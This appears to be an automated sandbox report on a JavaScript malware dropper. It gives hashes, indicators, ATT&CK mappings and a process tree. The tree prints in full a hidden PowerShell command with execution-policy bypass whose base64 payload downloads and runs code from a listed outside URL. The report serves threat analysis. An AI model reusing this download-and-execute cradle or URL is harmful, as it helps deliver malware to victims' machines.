6b0684d54864135fc8f3de9703b9353dcc7dc90f3c941c26cd7fa599ca2ade24

General

Target
2021APT-28_34704453.js
Size 104KB
Sample210729-en2ymxdvce
SHA256 6b0684d54864135fc8f3de9703b9353dcc7dc90f3c941c26cd7fa599ca2ade24
MD5 f144dbf61954220bcbd4e4738c58c819
SHA1 77b8d9e526c4eb4496fdc924dd1cafb16a96ffa8
SHA512 3385aaee3cb6cb6faa08ccf98af9697a1f7904fd5085c7324463ec3781aae9d5388320c6db1e421545f9e11bc4cd0741a82a579512f174d27618c90d6b2b4883
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	2468	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2288	2468	WerFault.exe	77

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2468	powershell.exe
2468	powershell.exe
2468	powershell.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe
2288	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2288	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 2420	4024	wscript.exe	75
PID 4024 wrote to memory of 2420	4024	wscript.exe	75
PID 2420 wrote to memory of 2468	2420	cmd.exe	77
PID 2420 wrote to memory of 2468	2420	cmd.exe	77

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_34704453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2468 -s 2316
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2288

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2468-120-0x000001A2F0F30000-0x000001A2F0F32000-memory.dmp

Download

memory/2468-121-0x000001A2F0F33000-0x000001A2F0F35000-memory.dmp

Download

memory/2468-122-0x000001A2F0ED0000-0x000001A2F0ED1000-memory.dmp

Download

memory/2468-127-0x000001A2F1490000-0x000001A2F1491000-memory.dmp

Download

memory/2468-140-0x000001A2F0F36000-0x000001A2F0F38000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads